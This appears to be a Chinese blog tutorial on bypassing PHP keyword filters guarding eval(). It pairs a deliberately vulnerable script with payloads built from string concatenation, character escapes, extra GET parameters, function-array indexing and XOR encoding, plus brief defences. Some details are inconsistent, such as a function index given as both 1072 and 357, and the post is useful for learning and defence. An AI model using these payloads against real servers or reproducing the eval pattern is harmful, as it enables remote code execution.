php学习其三(命令执行绕过)
1.字符串拼接绕过
在PHP开发中,字符串拼接是一种常见操作(例如使用.运算符:$str1 . $str2),但如果处理不当,它可能导致安全漏洞,如SQL注入或代码注入。攻击者可能通过精心构造的输入绕过简单的过滤机制。
这是含有危险漏洞的代码
<?php
highlight_file(__FILE__);
//字符串拼接绕过适用于绕过过滤具体关键字的限制
//适用 PHP版本: PHP>=7
error_reporting(0);
$cmd = $_GET['cmd'];
if(isset($cmd)) {
if(preg_match('/phpinfo|system/i', $cmd)){
die('No Hack!');
}else{
eval($cmd);
}
}else{
echo "Welcome!";
}
?>
代码分析:
-
highlight_file(__FILE__);- 这个函数会把当前文件的源代码高亮显示出来。
-
error_reporting(0);- 关闭所有错误报告。
- 目的:防止代码执行报错时泄露路径或其他敏感信息。
-
$cmd = $_GET['cmd'];- 接收 URL 参数
cmd的值。
- 接收 URL 参数
-
if(preg_match('/phpinfo|system/i', $cmd))- 核心防御逻辑:使用正则表达式检查
$cmd变量。 /phpinfo|system/i:phpinfo:匹配字符串 "phpinfo"。|:逻辑或。system:匹配字符串 "system"。i:不区分大小写(Case Insensitive)。
- 后果:如果
$cmd中包含 "phpinfo" 或 "system" 这两个单词中的任何一个,脚本就会终止并输出 "No Hack!"。
- 核心防御逻辑:使用正则表达式检查
-
eval($cmd);- 核心漏洞点:如果上述正则检查通过(即没有检测到禁用词),代码就会直接执行用户输入的
$cmd。 eval是极其危险的函数,它会将字符串作为 PHP 代码执行。
- 核心漏洞点:如果上述正则检查通过(即没有检测到禁用词),代码就会直接执行用户输入的
拼接绕过:
字符串拼接绕过适用于绕过过滤具体关键字的限制
适用PHP版本: PHP>=7
Payload:
- (p.h.p.i.n.f.o)(); == phpinfo();
- (sy.(st).em)(whoami) == system(”whoami”);
- (sy.(st).em)(who.ami) == system(”whoami”);
- (s.y.s.t.e.m)("whoami") == system(”whoami”);

绕过原理:
if(preg_match('/phpinfo|system/i', $cmd))
这串防御代码,它查找的是连续的字符序列 phpinfo
1.在 Payload 中,单词被点号 . 分割开了。字符串变成了 p.h.p.i.n.f.o,因为有标点的存在所以并未匹配到,就会将这个代码放到eval()中去执行
2.既然正则没拦住,代码执行到了 eval('(p.h.p.i.n.f.o)();');。这时 PHP 的解析器开始工作:
-
字符串连接
在 PHP 中,点号.是字符串连接符。
p.h.p.i.n.f.o
这一串代码在运行时,会被 PHP 自动拼接回原本的字符串:"phpinfo"
防御方法:
1.白名单机制
只允许特定的参数或操作,而不是让用户直接输入代码。
2.禁止危险函数
在 php.ini 配置文件中,使用 disable_functions 禁用 eval、system、exec、passthru、shell_exec 等函数。这是从根本上解决代码注入问题的方法。
3.更严格的正则
如果必须使用正则,可以尝试过滤掉点号或其他连接符,或者使用更复杂的逻辑,但这通常很难做到万无一失。
2. 字符串转义绕过
攻击者利用编码、特殊字符或逻辑漏洞,绕过系统对敏感字符(如引号、空格、关键字)的过滤或转义,从而执行恶意代码。
漏洞代码与拼接绕过的相同
<?php
highlight_file(__FILE__);
//字符串拼接绕过适用于绕过过滤具体关键字的限制
//适用 PHP版本: PHP>=7
error_reporting(0);
$cmd = $_GET['cmd'];
if(isset($cmd)) {
if(preg_match('/phpinfo|system/i', $cmd)){
die('No Hack!');
}else{
eval($cmd);
}
}else{
echo "Welcome!";
}
?>
转义绕过:
字符串拼接绕过适用于绕过过滤具体关键字的限制
适用PHP版本: PHP>=7
- Payload: "\x70\x68\x70\x69\x6e\x66\x6f"(); #phpinfo();
- "\163\171\163\164\145\155" ('whoami'); #system('whoami');
- "\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id'); #system(id');
- "\163\171\163\164\145\155"("\167\150\157\141\155\151"); #system('whoami');

防御方法与前面相同
3.多次传参绕过
多次传参绕过主要利用的是 Web服务器(如Apache/Nginx) 与 后端脚本语言(如PHP/Python) 在处理参数时的逻辑差异。
简单来说,就是利用“前端只传一个,后端却收到多个”或者“WAF看第一个,代码取最后一个”的错位来绕过检测。
漏洞代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
echo 'current PHP version: ' . phpversion() . '<br>';
$cmd = $_GET['cmd'];
if(isset($cmd)) {
if(preg_match('/phpinfo|system|exec|passthru|[\"\']/i', $cmd)) {
die('No Hack!');
} else {
eval($cmd);
}
} else {
echo "welcome ! ";
}
?>
注意这里也禁用了单引号和双引号等,所以不能用之前的方法绕过
传参绕过:

原理分析:
-
preg_match检查cmd参数。$ _GET[1]();中没有phpinfo、没有引号,绕过成功。 -
eval执行$ _GET[1]();。 -
$ _GET[1]是 phpinfo -
代码实际执行:phpinfo()
;
4.内置函数访问绕过
1.通过?cmd=print_r(get_defined_functions()[internal]);找到system函数的索引位置
2.执行get_defined_functions()[internal][1072](whoami)即可

原理分析:
-
[internal]:访问数组中的internal键,获取所有内置函数的列表。 -
[357]:这是关键。找到了system(或其他执行函数)在数组中的索引位置。-
也就是说,
get_defined_functions()['internal'][1072]的值实际上就是字符串"system"(或者exec、passthru等)。 -
注意:这里不需要引号,因为是在数组访问语法中,PHP 会自动将
internal视为字符串(虽然会产生E_NOTICE警告,但eval会继续执行)
-
5.异或绕过
利用这些字符进行异或可以得到我们想要的字符 PS:取ASCII表中非字母数字的其他字符,要注意有些字符可能会影响整个语句执行,所以要去掉如:反引号,单引号 使用脚本进行转换:

构造:assert($_GET[_]); 使用脚本对每个字母进行转换,然后拼接 Payload:$_=assert;$__=_GET;$___=$$__;$_($___[_]);&_=phpinfo(); 对每个字母转换后: $_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();

6.黑名单绕过
各种命令

更多推荐
所有评论(0)